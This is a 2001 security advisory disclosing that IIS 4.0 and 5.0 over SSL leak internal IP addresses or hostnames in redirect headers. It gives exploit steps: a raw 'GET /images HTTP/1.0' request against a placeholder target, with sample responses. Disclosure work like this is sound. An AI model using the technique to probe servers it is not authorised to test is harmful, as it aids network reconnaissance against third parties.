Internal IP Address Disclosure in Microsoft-IIS 4.0 & 5.0

[Marek Roy <marek_roy () hotmail com>]

GGS-AU / e-Synergies Security Advisory
August 8, 2001

Internal IP Address Disclosure in Microsoft-IIS 4.0 & 
5.0

Synopsis:

e-Synergies has discovered and researched remote 
vulnerability in Internet Information Server from 
Microsoft.  Successful
exploitation of this vulnerability can reveal critical 
internal information such as Internal IP Address or 
Internal host name.

Affected Versions:

Microsoft IIS 4.0 running SSL
Microsoft IIS 5.0 running SSL

Description:

By connecting manually to port TCP/443 (SSL) using 
Perl(SSLeay) or any other tools, a remote user has 
the ability to retrieve
Internal IP address or reveal the machine's network 
node hostname.

Exploit:

1-      Browse the web site using a normal SSL 
browser and find any directory. I.E.: 
https://www.target.com/images/icon.gif

2-      Using a compatible SSL Perl script, execute the 
following command once connected to port 443 of 
www.target.com:

        GET /images HTTP/1.0

3-      The result should look like this:

        HTTP/1.1 302 Object Moved
        Location: https://192.168.1.10/images/
        Server: Microsoft-IIS/4.0
        Content-Type: text/html
        Content-Length: xxx

        or

        HTTP/1.1 302 Object Moved
        Location: https://netbiosname/images/
        Server: Microsoft-IIS/4.0
        Content-Type: text/html
        Content-Length: xxx

Remarks:

Using HTTP/1.1 instead of HTTP/1.0 will not give the 
same result.

Credits:

Marek Roy
Senior IT Security Consultant

Please send suggestions, updates, and comments to:

GGS-AU / e-synergies, Sydney, Australia 

Level 9
65 York Street
Sydney NSW 2001
Australia

Phone: +61 2 9279 2533
Fax: +61 2 9279 2544
Email: enquiries () ggs-au com
http://www.ggs-au.com